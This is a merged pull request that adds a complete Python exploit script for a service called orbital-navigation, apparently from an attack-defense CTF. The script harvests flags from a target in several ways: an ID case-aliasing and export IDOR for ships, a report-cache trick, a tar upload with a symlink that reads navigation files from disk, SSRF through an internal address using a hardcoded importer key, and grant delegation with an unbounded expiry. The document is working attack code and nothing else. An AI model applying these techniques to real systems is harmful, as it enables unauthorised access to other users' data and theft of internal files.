orbital-navigation: add object-hint sploit #2

Merged
takuya merged 2 commits from exploit/orbital-navigation into main 2026-10-25 11:03:13 +03:00
+299
View File
@@ -0,0 +1,299 @@
#!/usr/bin/env python3
from __future__ import annotations
import hashlib
import io
import json
import os
import re
import sys
import tarfile
from urllib.error import HTTPError, URLError
from urllib.parse import quote, unquote, urlsplit, urlunsplit
from urllib.request import Request, urlopen
TARGET_SCHEME = "http"
SERVICE_PORT = 8086
REQUEST_TIMEOUT = 2.0
MAX_RESPONSE = 256 * 1024
MAX_OBJECTS = 6
IMPORTER_KEY = "orbit-importer-service-key"
ID_PATTERN = re.compile(r"\b(?:ship|flight|summary|grant)-[0-9a-fA-F]{32}\b")
class ExploitError(Exception):
pass
def parse_target(target: str) -> tuple[str, str]:
raw = target.strip()
if not raw:
raise ValueError("empty target")
address, separator, encoded_hint = raw.partition("#")
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
if not address:
raise ValueError("empty target address")
explicit_scheme = "://" in address
if not explicit_scheme:
authority = f"[{address}]" if address.count(":") > 1 and not address.startswith("[") else address
address = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(address)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target address must not include query or fragment")
port = parsed.port
if port is None:
port = 443 if explicit_scheme and parsed.scheme == "https" else 80 if explicit_scheme else SERVICE_PORT
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
def request(base: str, path: str, method: str = "GET", body: bytes | None = None, headers=None) -> tuple[int, bytes]:
request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"}
if headers:
request_headers.update(headers)
req = Request(base + path, data=body, headers=request_headers, method=method)
try:
with urlopen(req, timeout=REQUEST_TIMEOUT) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return response.status, data
except HTTPError as exc:
return exc.code, exc.read(MAX_RESPONSE)
def rpc(base: str, action: str, **fields):
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
status, raw = request(
base,
"/rpc",
method="POST",
body=payload,
headers={"Content-Type": "application/json"},
)
try:
document = json.loads(raw)
except (TypeError, ValueError) as exc:
raise ExploitError(f"{action}: invalid response") from exc
if status != 200 or not document.get("ok"):
raise ExploitError(f"{action}: {document.get('error', f'HTTP {status}')}")
return document.get("result")
def register(base: str) -> str:
result = rpc(base, "register")
token = result.get("token") if isinstance(result, dict) else None
if not isinstance(token, str):
raise ExploitError("register: missing token")
return token
def source_aliases(ship_id: str):
yielded = set()
candidates = [ship_id.upper(), ship_id.swapcase()]
letters = [index for index, value in enumerate(ship_id) if value.isalpha()]
seed = hashlib.sha256(ship_id.encode()).digest()
for attempt in range(16):
chars = list(ship_id)
for offset, index in enumerate(letters):
if seed[(attempt + offset) % len(seed)] & (1 << (attempt % 8)):
chars[index] = chars[index].upper()
candidates.append("".join(chars))
for candidate in candidates:
if candidate != ship_id and candidate not in yielded:
yielded.add(candidate)
yield candidate
def exploit_ship(base: str, ship_id: str) -> list[str]:
token = register(base)
for source_id in source_aliases(ship_id):
try:
rpc(base, "bind_source", token=token, source_id=source_id)
result = rpc(base, "read_source_messages", token=token, source_id=source_id)
messages = result.get("messages", []) if isinstance(result, dict) else []
return [item for item in messages if isinstance(item, str)]
except ExploitError:
continue
own_ship = rpc(base, "create_ship", token=token)["ship_id"]
profile = rpc(base, "create_profile", token=token, ship_id=own_ship)["profile_id"]
job = rpc(base, "create_export", token=token, profile_id=profile)["job_id"]
rpc(base, "edit_profile", token=token, profile_id=profile, ship_id=ship_id)
result = rpc(base, "run_export", token=token, job_id=job)
messages = result.get("messages", []) if isinstance(result, dict) else []
return [item for item in messages if isinstance(item, str)]
def regular_tar(name: str, content: bytes) -> bytes:
output = io.BytesIO()
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
entry = tarfile.TarInfo(name)
entry.size = len(content)
archive.addfile(entry, io.BytesIO(content))
return output.getvalue()
def symlink_tar(name: str, target: str) -> bytes:
output = io.BytesIO()
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
entry = tarfile.TarInfo(name)
entry.type = tarfile.SYMTYPE
entry.linkname = target
archive.addfile(entry)
return output.getvalue()
def upload_package(base: str, package_id: str, token: str, content: bytes) -> None:
status, raw = request(
base,
f"/packages/{quote(package_id, safe='')}/content",
method="PUT",
body=content,
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"},
)
if status != 200:
raise ExploitError(f"package upload: HTTP {status}")
try:
document = json.loads(raw)
except (TypeError, ValueError) as exc:
raise ExploitError("package upload: invalid response") from exc
if not document.get("ok"):
raise ExploitError("package upload failed")
def exploit_flight_cache(base: str, flight_id: str) -> list[str]:
token = register(base)
public = rpc(base, "flight_public", token=token, flight_id=flight_id)
marker = "orbital-probe-" + hashlib.sha256(flight_id.encode()).hexdigest()
own = rpc(
base,
"create_flight",
token=token,
geometry=public["geometry"],
map_version=public["map_version"],
options=public["options"],
manifest=marker,
navigation=marker,
)["flight_id"]
report = rpc(base, "report", token=token, flight_id=own)
manifest = report.get("manifest") if isinstance(report, dict) else None
if isinstance(manifest, str) and manifest != marker:
return [manifest]
return []
def exploit_flight_navigation(base: str, flight_id: str) -> list[str]:
token = register(base)
package_id = rpc(base, "create_package", token=token)["package_id"]
upload_package(base, package_id, token, regular_tar("report.txt", b"approved"))
rpc(base, "approve_package", token=token, package_id=package_id)
upload_package(
base,
package_id,
token,
symlink_tar("report.txt", f"/data/navigation/{flight_id}.txt"),
)
generated = rpc(base, "generate_report", token=token, package_id=package_id, attachment="report.txt")
navigation = generated.get("report") if isinstance(generated, dict) else None
return [navigation] if isinstance(navigation, str) else []
def exploit_summary(base: str, summary_id: str) -> list[str]:
path = f"/internal/summaries/{quote(summary_id, safe='')}"
status, raw = request(base, path, headers={"X-Importer-Key": IMPORTER_KEY})
if status == 200:
return [raw.decode("utf-8", errors="replace")]
token = register(base)
result = rpc(
base,
"import_bulletin",
token=token,
url=f"http://127.1:8080{path}",
)
content = result.get("content") if isinstance(result, dict) else None
return [content] if isinstance(content, str) else []
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
token = register(base)
child = rpc(
base,
"delegate",
token=token,
parent_id=grant_id,
rights=["manifest.read"],
expires=(1 << 63) - 1,
)["grant_id"]
for flight_id in flight_ids:
try:
result = rpc(base, "read_manifest", token=token, flight_id=flight_id, grant_id=child)
manifest = result.get("manifest") if isinstance(result, dict) else None
if isinstance(manifest, str):
return [manifest]
except ExploitError:
continue
return []
def run_exploit(target: str) -> list[str]:
base, hint = parse_target(target)
identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint)))
if not identifiers:
raise ValueError("checker hint with an orbital object id is required")
ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS]
flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS]
summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS]
grants = [value for value in identifiers if value.startswith("grant-")][:MAX_OBJECTS]
loot: list[str] = []
for ship_id in ships:
try:
loot.extend(exploit_ship(base, ship_id))
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"ship {ship_id}: {exc}", file=sys.stderr)
for flight_id in flights:
try:
loot.extend(exploit_flight_cache(base, flight_id))
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"flight cache {flight_id}: {exc}", file=sys.stderr)
try:
loot.extend(exploit_flight_navigation(base, flight_id))
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"flight navigation {flight_id}: {exc}", file=sys.stderr)
for summary_id in summaries:
try:
loot.extend(exploit_summary(base, summary_id))
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"summary {summary_id}: {exc}", file=sys.stderr)
if flights and grants:
for grant_id in grants:
try:
loot.extend(exploit_grant(base, flights, grant_id))
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"grant {grant_id}: {exc}", file=sys.stderr)
return list(dict.fromkeys(item for item in loot if item))
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST#CHECKER_HINT", file=sys.stderr)
return 2
try:
loot = run_exploit(sys.argv[1])
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
for item in loot:
print(item, flush=True)
print(f"collected values: {len(loot)}", file=sys.stderr)
return 0
if __name__ == "__main__":
raise SystemExit(main())